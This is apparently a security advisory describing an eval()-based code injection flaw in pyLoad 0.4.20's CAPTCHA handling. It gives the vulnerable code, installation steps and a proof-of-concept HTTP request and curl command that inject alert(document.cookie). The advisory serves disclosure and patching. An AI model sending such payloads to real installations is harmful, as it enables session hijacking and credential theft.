PYSEC-2026-496

Summary

An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details

The vulnerable code resides in

function onCaptchaResult(result) {
    eval(result); // Direct execution of attacker-controlled input
}

• The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()
• No sanitization or validation is performed on this input
• A malicious CAPTCHA result can include JavaScript such as fetch() or child_process.exec() in environments using NodeJS
  • Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods

1. Official Source Installation:

   git clone https://github.com/pyload/pyload
   cd pyload
   git checkout 0.4.20
   python -m pip install -e .
   pyload --userdir=/tmp/pyload
   
   

2. Virtual Environment:

   python -m venv pyload-env
   source pyload-env/bin/activate
    pip install pyload==0.4.20
   pyload
   

CAPTCHA Endpoint Verification

Technical Clarification:
1. The vulnerable endpoint is actually:

/interactive/captcha
   

2. Complete PoC Request:

   POST /interactive/captcha HTTP/1.1
   Host: localhost:8000
   Content-Type: application/x-www-form-urlencoded
   
   cid=123&response=1%3Balert(document.cookie)
   

3. Curl Command Correction:

   curl -X POST "http://localhost:8000/interactive/captcha" \
     -d "cid=123&response=1%3Balert(document.cookie)"
   ```
   
   
   1. **Vulnerable Code Location**:  
      The eval() vulnerability is confirmed in:
    
   

   src/pyload/webui/app/static/js/captcha-interactive.user.js ```

Resources

1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
   2. OWASP: Avoid eval()
   3. #4586